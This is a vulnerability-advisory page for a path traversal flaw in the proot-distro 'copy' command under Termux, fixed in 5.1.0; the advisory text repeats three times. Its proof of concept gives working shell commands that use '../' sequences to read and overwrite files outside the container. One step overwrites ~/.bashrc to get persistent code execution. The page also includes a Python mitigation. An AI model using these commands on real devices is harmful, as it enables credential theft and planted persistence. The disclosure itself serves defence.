Every CVESearch/Get API key

GHSA-mfr4-mq8w-vmg6

PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

6.6 MediumFix available

GHSA-mfr4-mq8w-vmg6 is a medium vulnerability (CVSS 6.6) in proot-distro, published July 17, 2026. No source lists public exploit code. Fixed in proot-distro 5.1.0.

What does this mean?
Severity
6.6 MediumCVSS 3.1, GitHub Advisories
Exploit chance
UnscoredNo EPSS score yet
Exploitation
None knownNot on CISA’s or ENISA’s lists

Description

<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2>

Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64

<hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" &gt; ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" &gt; ~/poc/evil.txt

proot-distro copy
~/poc/evil.txt
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" &gt; ~/poc/secret.txt

proot-distro copy
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt"
~/poc/read_result.txt </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\n' &gt; ~/poc/payload.sh

proot-distro copy ~/poc/payload.sh
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED &gt; ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.</p> <p>On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p> <hr> <h2>Proposed Fix</h2> <p>After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:</p> <pre><code>import os

def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre>

<p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Affected packages

Affected packages
PackageAffectedFixed
proot-distro
PyPI
before 5.1.0
5.1.0
proot-distro
PyPI
before 5.1.0, plus listed versions
5.0.05.0.0b15.0.0b25.0.0b35.0.0b45.0.0b55.0.15.0.2
5.1.0

What each source reports

GitHub Advisories Score used6.6

PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2>

Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64

<hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" &gt; ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" &gt; ~/poc/evil.txt

proot-distro copy
~/poc/evil.txt
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" &gt; ~/poc/secret.txt

proot-distro copy
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt"
~/poc/read_result.txt </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\n' &gt; ~/poc/payload.sh

proot-distro copy ~/poc/payload.sh
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED &gt; ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic…

Record
GHSA-mfr4-mq8w-vmg6
CVSS 3.1
6.6 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
OSV6.6

PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2>

Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64

<hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" &gt; ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" &gt; ~/poc/evil.txt

proot-distro copy
~/poc/evil.txt
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" &gt; ~/poc/secret.txt

proot-distro copy
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt"
~/poc/read_result.txt </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\n' &gt; ~/poc/payload.sh

proot-distro copy ~/poc/payload.sh
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED &gt; ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic…

Record
GHSA-mfr4-mq8w-vmg6
CVSS 3.1
6.6 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02

History

History
RecordedChangedSources
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open